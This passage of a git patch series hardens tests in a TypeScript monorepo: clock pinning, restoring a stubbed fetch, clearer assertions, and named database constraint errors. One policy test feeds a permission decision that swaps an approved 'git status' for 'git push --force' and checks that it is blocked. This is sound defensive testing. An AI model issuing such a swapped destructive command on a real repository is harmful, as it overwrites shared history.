GIT_CONFIG_COUNT + // outranks the repository-local commit.gpgsign the fixtures set, but not -c. + const r = Bun.spawnSync(["git", "-c", "commit.gpgsign=false", "-C", cwd, ...args], { stdout: "pipe", stderr: "pipe" }); return { code: r.exitCode, out: r.stdout.toString() + r.stderr.toString() }; } From 4761e2e6502c6c5d54ca9d07ea779050e329f340 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:56:52 +0100 Subject: [PATCH 110/252] test(ui-react): focus the handoff field before Escape so the case no longer depends on order Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#7 --- packages/ui-react/tests/render/handoff.test.tsx | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/packages/ui-react/tests/render/handoff.test.tsx b/packages/ui-react/tests/render/handoff.test.tsx index 68151f2a42..4b67f5f9d3 100644 --- a/packages/ui-react/tests/render/handoff.test.tsx +++ b/packages/ui-react/tests/render/handoff.test.tsx @@ -332,6 +332,10 @@ describe("starting the new chat", () => { const { root, socket } = setup(); open(root); await flush(); + // A real Escape reaches the field that holds focus; focus it first, as + // typeInto does. Unfocused, happy-dom's change polyfill (tests/render/dom.ts) + // depends on whichever field an earlier test left it tracking. + act(() => textarea().focus()); fireEvent.keyDown(textarea(), { key: "Escape" }); expect(root.stores.handoff.getState().sheet).toBeNull(); expect(socket.frames().filter((f) => f.type === "handoff_prepare_cancel")).toHaveLength(1); From 05c69c409c28e80881cb76ac76bf9f054c0510d1 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:56:56 +0100 Subject: [PATCH 111/252] test(ui-kit): stat tile geometry runs one theme per width Test-Health: th-20261110180640-b26dac#13 --- packages/ui-kit/tests/visual/stat-layout.visual.tsx | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/packages/ui-kit/tests/visual/stat-layout.visual.tsx b/packages/ui-kit/tests/visual/stat-layout.visual.tsx index c2630a896d..ccc3691f58 100644 --- a/packages/ui-kit/tests/visual/stat-layout.visual.tsx +++ b/packages/ui-kit/tests/visual/stat-layout.visual.tsx @@ -73,7 +73,11 @@ function fits(cell: HTMLElement) { expect(painted).toBeGreaterThan(0); } +// Storybook owns light and dark parity (docs/process/theme-parity.md); tile +// geometry never reads a colour, so each width runs in one theme, alternating. +const widthTheme = (width: number) => ([320, 390, 1280].includes(width) ? "dark" : "light"); for (const theme of ["dark", "light"]) for (const width of [320, 360, 390, 720, 1280]) { + if (widthTheme(width) !== theme) continue; test(`three default tiles ${theme} ${width}: all three fit on one row`, () => { const tiles = mount(width, theme, digestStats); expect(rows(tiles), "the default three tiles share a row").toHaveLength(1); @@ -108,12 +112,12 @@ for (const theme of ["dark", "light"]) for (const width of [320, 360, 390, 720, } for (const theme of ["dark", "light"]) { - test(`custom minimum ${theme}: a wider minimum still reduces column count`, () => { + if (theme === "dark") test(`custom minimum ${theme}: a wider minimum still reduces column count`, () => { const tiles = mount(360, theme, digestStats, 160); expect(rows(tiles).map(row => row.length)).toEqual([2, 1]); expect(tiles[2]!.tile.getBoundingClientRect().width).toBeCloseTo(tiles[0]!.tile.getBoundingClientRect().width, 1); }); - test(`long labels ${theme}: full text fits and values share a baseline`, () => { + if (theme === "light") test(`long labels ${theme}: full text fits and values share a baseline`, () => { const input = digestStats.map((tile, i) => ({ ...tile, label: i === 0 ? "Ithaca".repeat(12) : tile.label })); const tiles = mount(360, theme, input, 96); const top = tiles[0]!.value.getBoundingClientRect().top; From 48f304054f595efdc0149b30ced4d911dcef3aaf Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:57:06 +0100 Subject: [PATCH 112/252] test(ui-react): restore the fetch the Actions dismissal test replaces Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#13 --- .../tests/render/desktop-panes-sixth.test.tsx | 59 +++++++++++-------- 1 file changed, 33 insertions(+), 26 deletions(-) diff --git a/packages/ui-react/tests/render/desktop-panes-sixth.test.tsx b/packages/ui-react/tests/render/desktop-panes-sixth.test.tsx index 7d7d6f8664..62f181f653 100644 --- a/packages/ui-react/tests/render/desktop-panes-sixth.test.tsx +++ b/packages/ui-react/tests/render/desktop-panes-sixth.test.tsx @@ -196,32 +196,39 @@ describe("Files tree keys (sixth pass §8)", () => { describe("Actions dismissal (sixth pass §4)", () => { test("Dismiss all leaves no receipt; the drained section is the empty state with its heading focused", async () => { - globalThis.fetch = (async (input: RequestInfo | URL) => { - const url = String(input); - if (url.includes("/activity/inbox") && !url.includes("/ack")) { - return Response.json({ - intents: [1, 2].map((n) => ({ - id: n, runId: `run-${n}`, spanId: null, kind: "failure", tag: "t", - title: `Intent ${n}`, body: "", status: "pending", acknowledged: false, createdAt: Date.now(), - })), - }); - } - if (url.includes("/activity/runs?")) return Response.json({ live: [], history: [] }); - if (url.includes("/activity/rollups")) return Response.json({ timeZone: "UTC", days: [] }); - if (url.includes("/models/pricing")) return Response.json({ stale: false, error: null }); - if (url.includes("/ack")) return Response.json({ ok: true }); - return Response.json({ error: "not_found" }, { status: 404 }); - }) as typeof fetch; - const page = render(); - const intents = await page.findAllByRole("button", { name: /Intent \d/ }, { timeout: 5000 }); - expect(intents).toHaveLength(2); - fireEvent.click(page.getByRole("button", { name: "Dismiss all" })); - const empty = await page.findByRole("heading", { name: "Nothing is waiting on you" }, { timeout: 5000 }); - expect(useActivityStore.getState().inbox).toEqual([]); - expect(page.queryByText("Dismissed")).toBeNull(); - expect(page.queryByText("2 items")).toBeNull(); - expect(document.activeElement).toBe(empty); - page.unmount(); + // The fake must not outlive this test: later tests and files share the global. + const fetchDescriptor = Object.getOwnPropertyDescriptor(globalThis, "fetch"); + try { + globalThis.fetch = (async (input: RequestInfo | URL) => { + const url = String(input); + if (url.includes("/activity/inbox") && !url.includes("/ack")) { + return Response.json({ + intents: [1, 2].map((n) => ({ + id: n, runId: `run-${n}`, spanId: null, kind: "failure", tag: "t", + title: `Intent ${n}`, body: "", status: "pending", acknowledged: false, createdAt: Date.now(), + })), + }); + } + if (url.includes("/activity/runs?")) return Response.json({ live: [], history: [] }); + if (url.includes("/activity/rollups")) return Response.json({ timeZone: "UTC", days: [] }); + if (url.includes("/models/pricing")) return Response.json({ stale: false, error: null }); + if (url.includes("/ack")) return Response.json({ ok: true }); + return Response.json({ error: "not_found" }, { status: 404 }); + }) as typeof fetch; + const page = render(); + const intents = await page.findAllByRole("button", { name: /Intent \d/ }, { timeout: 5000 }); + expect(intents).toHaveLength(2); + fireEvent.click(page.getByRole("button", { name: "Dismiss all" })); + const empty = await page.findByRole("heading", { name: "Nothing is waiting on you" }, { timeout: 5000 }); + expect(useActivityStore.getState().inbox).toEqual([]); + expect(page.queryByText("Dismissed")).toBeNull(); + expect(page.queryByText("2 items")).toBeNull(); + expect(document.activeElement).toBe(empty); + page.unmount(); + } finally { + if (fetchDescriptor) Object.defineProperty(globalThis, "fetch", fetchDescriptor); + else delete (globalThis as { fetch?: unknown }).fetch; + } }); }); From 62c999165462e6554621dc58abf24f90361403fb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 20:59:13 +0100 Subject: [PATCH 113/252] test(core): eval-dates prints the rows it checks and names the real deadline Test-Health: th-20261110163736-83b662#21 --- packages/core/tests/eval-dates.test.ts | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/core/tests/eval-dates.test.ts b/packages/core/tests/eval-dates.test.ts index 16cc46a7cc..bc47f3f3e0 100644 --- a/packages/core/tests/eval-dates.test.ts +++ b/packages/core/tests/eval-dates.test.ts @@ -38,7 +38,7 @@ async function evalRun(set: string, ...flags: string[]) { return { ...run, out }; } -// The raft project's deadline is 2026-08-15; no other fixture has one. +// The raft status's deadline is 2026-07-29; no other fixture has one. const DUE_NEXT = { id: "due-next", q: "what is due next", @@ -129,7 +129,7 @@ describe("stale vs current", () => { const { out } = await evalRun(writeSet("plain.jsonl", [{ ...BIO, expected: ["me/basics/short-bio.md"] }])); expect(out.per_query[0].current_first).toBeNull(); expect(out.rows.map((r: { class: string | null }) => r.class)).toEqual([null, "stale-vs-current"]); - expect(out.rows.every((r: { current_first: number | null }) => r.current_first === null)).toBe(true); + expect(out.rows.map((r: { current_first: number | null }) => r.current_first)).toEqual([null, null]); }); test("a stale path that does not exist is refused like an expected one", async () => { From dc9c5f6caaa5c445710f8bd470e78d95fb8b015a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:01:02 +0100 Subject: [PATCH 114/252] test(core): pin the clock the grouped-findings audit children read Test-Health: th-20261110163736-83b662#22 --- .../core/tests/audit-grouped-findings.test.ts | 21 +++++++++++++------ 1 file changed, 15 insertions(+), 6 deletions(-) diff --git a/packages/core/tests/audit-grouped-findings.test.ts b/packages/core/tests/audit-grouped-findings.test.ts index d8705c222d..eadae37359 100644 --- a/packages/core/tests/audit-grouped-findings.test.ts +++ b/packages/core/tests/audit-grouped-findings.test.ts @@ -13,12 +13,13 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "fs"; import { tmpdir } from "os"; import { join } from "path"; -import { audit, auditTotals, isoDay } from "../src/lib/auditor"; +import { audit, auditTotals } from "../src/lib/auditor"; import { openDatabase, SCHEMA_VERSION } from "../src/lib/db"; import { buildTaxonomy } from "../src/lib/taxonomy"; import { brainConfigSchema } from "../src/lib/config"; import type { AuditIssue } from "../src/lib/types"; import { cleanup, makeTempBrain, runCli } from "./cli-harness"; +import { hygieneCliClock } from "./hygiene-clock"; const NOW = new Date("2026-07-01T00:00:00Z"); const taxonomy = buildTaxonomy({ user: brainConfigSchema.parse({}) }); @@ -140,7 +141,12 @@ test("auditTotals: must-fix is errors plus warnings, informational is infos", () describe("over a real indexed brain", () => { let root: string; - const today = isoDay(Date.now()); + // The audit reads the clock: "today" and the child's clock are pinned + // together, so a run that crosses midnight cannot make review-today overdue. + const today = "2026-07-12"; + const NOW_CLI = `${today}T12:00:00Z`; + const clockScratch = makeTempBrain({ empty: true }); + const runAt = hygieneCliClock(clockScratch); const doc = (title: string, body: string, extra = "") => `---\ntype: note\ntitle: ${title}\ncreated: 2026-01-01\nupdated: ${today}\ntags: [t]\nstatus: active\nrelevance: secondary\n${extra}---\n\n${body}\n`; @@ -172,12 +178,15 @@ describe("over a real indexed brain", () => { doc("Review archived", "See [[target]].", "next_review: 2026-01-02\n").replace("status: active", "status: archived") ); expect((await runCli(root, ["index", "--json"])).code).toBe(0); - const { stdout, code } = await runCli(root, ["audit", "--json"]); + const { stdout, code } = await runAt(root, ["audit", "--json"], NOW_CLI); expect(code).toBe(0); audited = JSON.parse(stdout); }); - afterAll(() => cleanup(root)); + afterAll(() => { + cleanup(root); + cleanup(clockScratch); + }); test("the index stores the declaration, and only where it is set", () => { const db = openDatabase(join(root, ".brain-index", "brain.db"), { readonly: true }); @@ -281,10 +290,10 @@ describe("over a real indexed brain", () => { }); test("maintain reports the same counts with must-fix and informational totals", async () => { - const { stdout } = await runCli(root, ["maintain", "--json", "--no-git"]); + const { stdout } = await runAt(root, ["maintain", "--json", "--no-git"], NOW_CLI); const step = (JSON.parse(stdout) as { step: string; result: string }[]).find((s) => s.step === "audit"); // maintain reindexes first; nothing changed, so the audit is the same one. - const again = JSON.parse((await runCli(root, ["audit", "--json"])).stdout) as AuditOut; + const again = JSON.parse((await runAt(root, ["audit", "--json"], NOW_CLI)).stdout) as AuditOut; expect(step?.result).toBe( `${again.errors} error(s), ${again.warnings} warning(s), ${again.infos} info(s); ` + `${again.errors + again.warnings} must-fix, ${again.infos} informational` From 7f0aeac7363a4e9b13323c35ea3fb49f2cd2e72f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:02:28 +0100 Subject: [PATCH 115/252] test(core): pin the clock frontmatter edits stamp updated from Test-Health: th-20261110163736-83b662#23 --- packages/core/tests/frontmatter-edit.test.ts | 20 ++++++++++++++++---- 1 file changed, 16 insertions(+), 4 deletions(-) diff --git a/packages/core/tests/frontmatter-edit.test.ts b/packages/core/tests/frontmatter-edit.test.ts index dea2812d5e..98826d7362 100644 --- a/packages/core/tests/frontmatter-edit.test.ts +++ b/packages/core/tests/frontmatter-edit.test.ts @@ -4,7 +4,7 @@ * quoting, flow sequences, key order and blank lines survive. */ -import { afterAll, beforeAll, describe, expect, test } from "bun:test"; +import { afterAll, beforeAll, describe, expect, setSystemTime, test } from "bun:test"; import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "fs"; @@ -16,8 +16,12 @@ import { parseFrontmatter } from "@schlessera/brain-common/internal/frontmatter" import { archiveDocument } from "../src/lib/archiver"; import { editFrontmatter, updateDocument } from "../src/lib/frontmatter-edit"; import { BRAIN_BIN, cleanup, keylessEnv, makeTempBrain, runCli } from "./cli-harness"; +import { writeHygieneClock } from "./hygiene-clock"; -const TODAY = new Date().toISOString().slice(0, 10); +// The edits stamp `updated` from the clock: pin it, in process and in the MCP +// child, so a run that crosses midnight cannot disagree with TODAY. +const TODAY = "2026-07-12"; +const NOW = `${TODAY}T12:00:00Z`; // An inline comment, a standalone comment line, a quoted string, a flow // sequence, a block list and a blank line: everything a serializer rewrites. @@ -67,7 +71,12 @@ test("archiving changes only the archive fields; every other line is byte-identi temps.push(root); mkdirSync(join(root, "notes"), { recursive: true }); writeFileSync(join(root, "notes/demo.md"), SOURCE); - await archiveDocument(root, "notes/demo.md"); + setSystemTime(new Date(NOW)); + try { + await archiveDocument(root, "notes/demo.md"); + } finally { + setSystemTime(); + } expect(readFileSync(join(root, "notes/demo.md"), "utf8")).toBe(withLines({ "status: active": "status: archived", "relevance: 'primary'": "relevance: 'historical'", @@ -85,8 +94,11 @@ describe("brain_update over MCP", () => { mkdirSync(join(root, "notes"), { recursive: true }); writeFileSync(join(root, "notes/demo.md"), SOURCE); expect((await runCli(root, ["index", "--json"])).code).toBe(0); + const clock = join(mkdtempSync(join(tmpdir(), "brain-fm-clock-")), "clock.ts"); + temps.push(join(clock, "..")); + writeHygieneClock(clock, NOW); client = new Client({ name: "frontmatter-edit-test", version: "1.0.0" }); - await client.connect(new StdioClientTransport({ command: "bun", args: [BRAIN_BIN, "mcp"], env: keylessEnv(root) })); + await client.connect(new StdioClientTransport({ command: "bun", args: ["--preload", clock, BRAIN_BIN, "mcp"], env: keylessEnv(root) })); }); afterAll(async () => { From 3a4a18fc3ad4bd1143953517193cae5e0f417f26 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:02:41 +0100 Subject: [PATCH 116/252] test(ui-backend-pi): list event kinds instead of a boolean in the policy command tests Test-Health: th-20261110184656-6654f8#21 --- packages/ui-backend-pi/tests/policy-commands.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-pi/tests/policy-commands.test.ts b/packages/ui-backend-pi/tests/policy-commands.test.ts index a3e1b527be..114b9d95e3 100644 --- a/packages/ui-backend-pi/tests/policy-commands.test.ts +++ b/packages/ui-backend-pi/tests/policy-commands.test.ts @@ -29,6 +29,6 @@ for (const binding of ["rpc", "gate"] as const) { const result = await probe(binding, { deny: [force], confirm: [{ ...force, pattern: "^git status" }], command: "git status", decision: { behavior: "allow", updatedInput: { command: "git push --force" } } }); expect(result.executed, "PI_POLICY_EDIT_DENY_BEFORE_EXECUTION").toBe(false); - expect(result.events.some(e => e.kind === "policy_block")).toBe(true); + expect(result.events.map(e => e.kind)).toContain("policy_block"); }); } From d5e12b232829707bd4ca23e775174f5769e77fe9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:02:46 +0100 Subject: [PATCH 117/252] test(ui-backend-pi): compare values instead of booleans in the provider history tests Test-Health: th-20261110184656-6654f8#22 --- packages/ui-backend-pi/tests/provider-history-apify.test.ts | 2 +- packages/ui-backend-pi/tests/provider-history.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/ui-backend-pi/tests/provider-history-apify.test.ts b/packages/ui-backend-pi/tests/provider-history-apify.test.ts index 44eb27c9c5..6275d95428 100644 --- a/packages/ui-backend-pi/tests/provider-history-apify.test.ts +++ b/packages/ui-backend-pi/tests/provider-history-apify.test.ts @@ -29,5 +29,5 @@ test("Pi Apify tools reach the host and keep tools, instructions and history sta } const names = body(main(capture)[0]!).tools.map((tool: { name: string }) => tool.name).filter((name: string) => name.startsWith("brain_apify_")); expect(names, "APIFY_PI_FIXED_NAMES_IN_ORDER").toEqual(APIFY_OPERATIONS.map(operation => APIFY_TOOL_NAMES[operation])); - for (const exchange of capture.exchanges) expect(exchange.raw.includes(SENTINEL), "APIFY_PI_TOKEN_NEVER_IN_PROVIDER_REQUESTS").toBe(false); + for (const exchange of capture.exchanges) expect(exchange.raw, "APIFY_PI_TOKEN_NEVER_IN_PROVIDER_REQUESTS").not.toContain(SENTINEL); }); diff --git a/packages/ui-backend-pi/tests/provider-history.test.ts b/packages/ui-backend-pi/tests/provider-history.test.ts index ca34e9a462..061a2215f0 100644 --- a/packages/ui-backend-pi/tests/provider-history.test.ts +++ b/packages/ui-backend-pi/tests/provider-history.test.ts @@ -11,7 +11,7 @@ test("Pi captures three real resumed interactive turns and a tool result through expect(capture.sessions).toHaveLength(3); expect(new Set(capture.sessions).size).toBe(1); expect(main(capture).map(e => e.turn)).toEqual([0, 0, 1, 2]); - expect(main(capture).every(e => e.path === "/v1/responses")).toBe(true); + expect(main(capture).map(e => e.path).filter(path => path !== "/v1/responses")).toEqual([]); expect(main(capture)[1]!.raw).toContain('"function_call_output"'); if (name !== "promotion") expect(main(capture)[1]!.raw).toContain("Odysseus repairs the raft."); } From 7e5891bed9b6ca6d071150bfdfbc57a49201cff2 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:03:18 +0100 Subject: [PATCH 118/252] test(core): the jev source check lists the candidates it rejects Test-Health: th-20261110163736-83b662#24 --- packages/core/tests/jev-reranker.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/tests/jev-reranker.test.ts b/packages/core/tests/jev-reranker.test.ts index 55f03bbc0f..d80b630bb1 100644 --- a/packages/core/tests/jev-reranker.test.ts +++ b/packages/core/tests/jev-reranker.test.ts @@ -116,7 +116,7 @@ describe("jevReranker", () => { test("names the source per candidate only when the pool spans several stores", () => { const single = buildJevRequest(JEV_MODEL, { query: "q", candidates: [candidate(0), candidate(1)] }).body; - expect(single.state.candidates.every((c) => !("source" in c))).toBe(true); + expect(single.state.candidates.filter((c) => "source" in c)).toEqual([]); expect(single.questions.ranking.instructions.situation).not.toContain("`source`"); const union = buildJevRequest(JEV_MODEL, { From af3a4428e571951097466c6d7dcb0dda8e8518a3 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:06:23 +0100 Subject: [PATCH 119/252] test(core): the read-many section check prints the item it rejects Test-Health: th-20261110163736-83b662#25 --- packages/core/tests/cli-read-many.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/core/tests/cli-read-many.test.ts b/packages/core/tests/cli-read-many.test.ts index 3fed2b1c01..f7cd61e195 100644 --- a/packages/core/tests/cli-read-many.test.ts +++ b/packages/core/tests/cli-read-many.test.ts @@ -43,7 +43,7 @@ describe("brain read-many --json", () => { expect(r.stdout.trimEnd().length).toBeLessThanOrEqual(2_000); const body = JSON.parse(r.stdout); expect(body.items.map((i: { kind: string }) => i.kind)).toEqual(["full", "partial"]); - expect(body.items[0].content.startsWith("## Reaching Odysseus\n")).toBe(true); + expect(body.items[0].content).toStartWith("## Reaching Odysseus\n"); }); test("the cap flags apply to argument paths and are refused, not clamped, out of range", async () => { From 90620d94b22a72bae38095ba8dd457d5b091f1f5 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:06:30 +0100 Subject: [PATCH 120/252] test(ui-server): real-socket login cases run instead of skipping when loopback is unavailable Test-Health: th-20261110163814-571eb3#17 --- packages/ui-server/tests/auth.test.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/auth.test.ts b/packages/ui-server/tests/auth.test.ts index 85f493f9fb..0fd60ad9be 100644 --- a/packages/ui-server/tests/auth.test.ts +++ b/packages/ui-server/tests/auth.test.ts @@ -839,8 +839,12 @@ describe("login outcomes are observable", () => { }); }); -describe.skipIf(!CAN_BIND_LOOPBACK)("password login over a real socket", () => { - beforeEach(() => resetVerificationReservations()); +describe("password login over a real socket", () => { + // Loopback binding is a hosted-proof prerequisite: its absence fails loudly instead of skipping. + beforeEach(() => { + if (!CAN_BIND_LOOPBACK) throw new Error("Prerequisite missing: binding a loopback socket"); + resetVerificationReservations(); + }); test("a chunked over-cap body gets 413 without losing the socket IP", async () => { const runtime = auth({ From 471ab5d3691a89f86733c60cd5fef208655df4dc Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:10:57 +0100 Subject: [PATCH 121/252] test(core): doctor checks print the refs and detail they reject Test-Health: th-20261110163736-83b662#26 --- packages/core/tests/doctor-instructions-weight.test.ts | 2 +- packages/core/tests/doctor.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/packages/core/tests/doctor-instructions-weight.test.ts b/packages/core/tests/doctor-instructions-weight.test.ts index 1ed56b5b7d..cfd30f47a2 100644 --- a/packages/core/tests/doctor-instructions-weight.test.ts +++ b/packages/core/tests/doctor-instructions-weight.test.ts @@ -109,7 +109,7 @@ test("a brain generated from template/ passes, and counts the imported contract for (const skill of skills) expect(parts.get(`skill ${skill.name}`)).toBe(estimateTokens(skill.description)); const total = [...parts.values()].reduce((a, b) => a + b, 0); - expect(check.detail.startsWith(`~${total} tokens always loaded`)).toBe(true); + expect(check.detail).toStartWith(`~${total} tokens always loaded`); expect(parts.size).toBe(2 + skills.length); }); diff --git a/packages/core/tests/doctor.test.ts b/packages/core/tests/doctor.test.ts index 1517b7ed98..b8309240c9 100644 --- a/packages/core/tests/doctor.test.ts +++ b/packages/core/tests/doctor.test.ts @@ -43,7 +43,7 @@ test("a planted refs/original backup warns, names the ref, and shows the removal const before = refs(root); const logsBefore = reflogs(root); expect(logsBefore.length).toBeGreaterThan(0); - expect(before.some((r) => r.startsWith("refs/original/refs/heads/main "))).toBe(true); + expect(before).toContainEqual(expect.stringMatching(/^refs\/original\/refs\/heads\/main /)); const check = await gitStorage(root); expect(check.status).toBe("warn"); From 7c245f4dfa23c320f6244fcf3a5aaa04599db9e0 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:11:56 +0100 Subject: [PATCH 122/252] test(ui-backend-pi): use toContain over the roster names in the stable roster test Test-Health: th-20261110184656-6654f8#27 --- packages/ui-backend-pi/tests/stable-roster.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-pi/tests/stable-roster.test.ts b/packages/ui-backend-pi/tests/stable-roster.test.ts index fa353e3c03..bfdc0eee9b 100644 --- a/packages/ui-backend-pi/tests/stable-roster.test.ts +++ b/packages/ui-backend-pi/tests/stable-roster.test.ts @@ -18,7 +18,7 @@ test("Pi production session acquisition builds one full roster even voice-first ...(mode === "voice" ? { posture: "voice" } : {}), noGrantSurface: mode !== "typed" }); const tools = createPiBridgeTools({ brainPath: "/tmp/odysseus", turn: entry.turnContext, capabilities: observed!.caps }); rosters.push(JSON.stringify(tools.map(tool => ({ name: tool.name, description: tool.description, parameters: tool.parameters })))); - for (const name of [...names, "brain_compute_run", "brain_compute_collect"]) expect(tools.some(tool => tool.name === name), `PI_FULL_ROSTER_${mode}_${name}`).toBe(true); + for (const name of [...names, "brain_compute_run", "brain_compute_collect"]) expect(tools.map(tool => tool.name), `PI_FULL_ROSTER_${mode}_${name}`).toContain(name); pool.finish(entry); } for (const roster of rosters.slice(1)) expect(roster, "PI_FIXED_VOICE_FIRST_ROSTER").toBe(rosters[0]); From 17c932fff993b86a659a62f7cf1d7fc4ce7a503c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:13:38 +0100 Subject: [PATCH 123/252] test(ui-server): schema constraint tests name the constraint they expect to fail Test-Health: th-20261110163814-571eb3#11 --- packages/ui-server/tests/db.test.ts | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/packages/ui-server/tests/db.test.ts b/packages/ui-server/tests/db.test.ts index 560c212e39..b0bd6bc2f4 100644 --- a/packages/ui-server/tests/db.test.ts +++ b/packages/ui-server/tests/db.test.ts @@ -48,7 +48,7 @@ describe("database migrations", () => { "INSERT INTO sessions (id, title, created_at, last_active_at) VALUES (?, ?, ?, ?)" ) .run("s1", "Duplicate", Date.now(), Date.now()) - ).toThrow(); + ).toThrow("UNIQUE constraint failed: sessions.id"); }); test("cron_runs table tracks job execution", () => { @@ -77,7 +77,7 @@ describe("database migrations", () => { "INSERT INTO cron_runs (job_name, started_at, status) VALUES (?, ?, 'invalid')" ) .run("test", Date.now()) - ).toThrow(); + ).toThrow("CHECK constraint failed"); }); test("cron_runs declares job_name ASC, started_at DESC lookup index keys", () => { @@ -114,6 +114,6 @@ describe("database migrations", () => { "INSERT INTO _migrations (filename, applied_at) VALUES (?, ?)" ) .run("001_initial.sql", Date.now()) - ).toThrow(); + ).toThrow("UNIQUE constraint failed: _migrations.filename"); }); }); From 0867abdbc008fb1c3da0bc6a4edb89f7d5358908 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:14:15 +0100 Subject: [PATCH 124/252] test(core): graph query checks list the items they reject Test-Health: th-20261110163736-83b662#27 --- packages/core/tests/graph.test.ts | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/packages/core/tests/graph.test.ts b/packages/core/tests/graph.test.ts index 01c23783db..38b562a35e 100644 --- a/packages/core/tests/graph.test.ts +++ b/packages/core/tests/graph.test.ts @@ -509,9 +509,7 @@ describe("queries", () => { // Every edge in the result has both endpoints in it. expect(depth1.edges).toHaveLength(4); const ids = new Set(depth1.nodes.map((n) => n.id)); - for (const edge of depth1.edges) { - expect(ids.has(edge.source) && ids.has(edge.target)).toBe(true); - } + expect(depth1.edges.filter((edge) => !ids.has(edge.source) || !ids.has(edge.target))).toEqual([]); expect(getEgoGraph(db, { center: "does/not/exist.md" }).nodes).toEqual([]); @@ -531,7 +529,7 @@ describe("queries", () => { // An explicit root is a plain per-request BFS with no virtual node. const fromDelta = getDiscoveryGraph(db, { root: "notes/delta.md" }); - expect(fromDelta.nodes.some((n) => n.virtual)).toBe(false); + expect(fromDelta.nodes.filter((n) => n.virtual)).toEqual([]); expect(fromDelta.nodes.map((n) => n.path).sort()).toEqual([ "notes/delta.md", "notes/epsilon.md", @@ -566,7 +564,7 @@ describe("queries", () => { all.nodes.filter((n) => n.community === alphaCommunity).map((n) => n.path).sort() ); expect(single.nodes.map((n) => n.path)).toContain("notes/alpha.md"); - expect(single.nodes.every((n) => n.community === alphaCommunity)).toBe(true); + expect(single.nodes.filter((n) => n.community !== alphaCommunity)).toEqual([]); db.close(); }); From ae6ec7d23392923712a02dac464ea329b093defa Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 21:15:46 +0100 Subject: [PATCH 125/252] test(core): context scope surface checks list the paths they reject Test-Health: th-20261110163736-83b662#28 --- packages/core/tests/context-scope-surfaces.test.ts | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/packages/core/tests/context-scope-surfaces.test.ts b/packages/core/tests/context-scope-surfaces.test.ts index 97ea7dff59..51bb0c4a86 100644 --- a/packages/core/tests/context-scope-surfaces.test.ts +++ b/packages/core/tests/context-scope-surfaces.test.ts @@ -73,7 +73,7 @@ describe("brain context", () => { expect(out.code).toBe(0); const paths = [...out.stdout.matchAll(/^### .*?\(([^)]+\.md)\)/gm)].map((m) => m[1]!); expect(paths.length).toBeGreaterThan(0); - for (const path of paths) expect(path.startsWith("projects/active/sail-repairs/"), path).toBe(true); + expect(paths.filter((path) => !path.startsWith("projects/active/sail-repairs/"))).toEqual([]); expect(out.stdout).not.toContain("## Identity"); expect(out.stdout).toContain("health/knee-injury.md (not ranked)"); expect(out.stdout).toContain("notes/missing.md (unavailable)"); @@ -120,7 +120,7 @@ describe("brain_context", () => { const structured = result.structuredContent as Record; expect(Object.keys(structured).sort()).toEqual(["context", "warnings"]); expect(content[0]!.text).toBe(structured.context as string); - expect(content.some((block) => block.text.startsWith("### Coverage"))).toBe(false); + expect(content.filter((block) => block.text.startsWith("### Coverage"))).toEqual([]); }); test("exclude keeps both files unopened and returns the coverage as its last block and in structuredContent", async () => { @@ -131,7 +131,7 @@ describe("brain_context", () => { for (const marker of [FOCUS_MARKER, REGISTRY_MARKER, `(${FOCUS})`, `(${REGISTRY})`]) expect(structured.context).not.toContain(marker); // The first block is still the context text itself. expect(content[0]!.text).toBe(structured.context); - expect(content.at(-1)!.text.startsWith("### Coverage")).toBe(true); + expect(content.at(-1)!.text).toStartWith("### Coverage"); expect(structured.coverage.exhaustive).toBe(false); expect(structured.coverage.excerpts.map((e) => e.path)).not.toContain(FOCUS); expect(structured.coverage.excerpts[0]).toEqual({ path: "me/identity.md", lane: "identity", form: "whole" }); @@ -142,7 +142,7 @@ describe("brain_context", () => { const { coverage } = result.structuredContent as { coverage: { include: string[]; excerpts: Array<{ path: string }> } }; 